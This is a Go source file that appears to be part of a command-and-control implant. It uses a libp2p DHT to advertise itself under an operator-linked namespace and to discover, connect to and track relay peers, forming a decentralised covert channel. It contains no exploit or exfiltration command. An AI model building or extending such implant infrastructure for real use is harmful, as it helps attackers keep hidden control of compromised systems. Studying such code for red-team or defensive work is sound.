package core

import (
	"context"
	"log"
	"time"

	"github.com/libp2p/go-libp2p/core/network"
	"github.com/libp2p/go-libp2p/core/peer"
)

type relayPeerInfo struct {
	peerID    peer.ID
	connected bool
	lastSeen  time.Time
	failCount int
}

func (a *Agent) relayRendezvous() string {
	return a.node.RelayRendezvousString(a.messenger.OperatorID())
}

func (a *Agent) advertiseRelayLoop(ns string) {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in advertiseRelayLoop: %v", r)
		}
	}()

	if !a.node.WaitForDHT(a.ctx) {
		return
	}

	for {
		if err := a.node.AdvertiseRelay(a.ctx, ns); err != nil {
			log.Printf("[implant] relay advertise: %v", err)
		}
		select {
		case <-a.ctx.Done():
			return
		case <-time.After(60 * time.Second):
		}
	}
}

func (a *Agent) discoverRelaysLoop(ns string) {
	defer a.wg.Done()
	defer func() {
		if r := recover(); r != nil {
			log.Printf("[implant] panic in discoverRelaysLoop: %v", r)
		}
	}()

	if !a.node.WaitForDHT(a.ctx) {
		return
	}

	opID := a.messenger.OperatorID()
	for {
		peers, err := a.node.FindRelayPeers(a.ctx, ns, 16)
		if err != nil {
			log.Printf("[implant] find relay peers: %v", err)
			goto sleep
		}
		for _, pi := range peers {
			if pi.ID == a.node.ID() || pi.ID == opID {
				continue
			}
			a.relayMu.RLock()
			existing := a.relayPeers[pi.ID]
			a.relayMu.RUnlock()
			if existing != nil && existing.connected {
				continue
			}
			connCtx, cancel := context.WithTimeout(a.ctx, 10*time.Second)
			err := a.node.ConnectToPeer(connCtx, pi)
			cancel()
			now := time.Now()
			if err != nil {
				log.Printf("[implant] relay connect %s: %v", pi.ID.String(), err)
				a.relayMu.Lock()
				if rp, ok := a.relayPeers[pi.ID]; ok {
					rp.failCount++
					rp.lastSeen = now
				} else {
					a.relayPeers[pi.ID] = &relayPeerInfo{
						peerID:    pi.ID,
						connected: false,
						lastSeen:  now,
						failCount: 1,
					}
				}
				a.relayMu.Unlock()
				continue
			}
			log.Printf("[implant] connected to relay peer %s", pi.ID.String())
			a.relayMu.Lock()
			a.relayPeers[pi.ID] = &relayPeerInfo{
				peerID:    pi.ID,
				connected: true,
				lastSeen:  now,
			}
			a.relayMu.Unlock()
		}

		a.relayMu.Lock()
		for id, rp := range a.relayPeers {
			if rp.connected {
				cs := a.node.Host.Network().Connectedness(id)
				if cs != network.Connected && cs != network.Limited {
					rp.connected = false
					rp.failCount++
					log.Printf("[implant] relay peer %s disconnected", id.String())
				}
			}
		}
		a.relayMu.Unlock()

	sleep:
		select {
		case <-a.ctx.Done():
			return
		case <-time.After(30 * time.Second):
		}
	}
}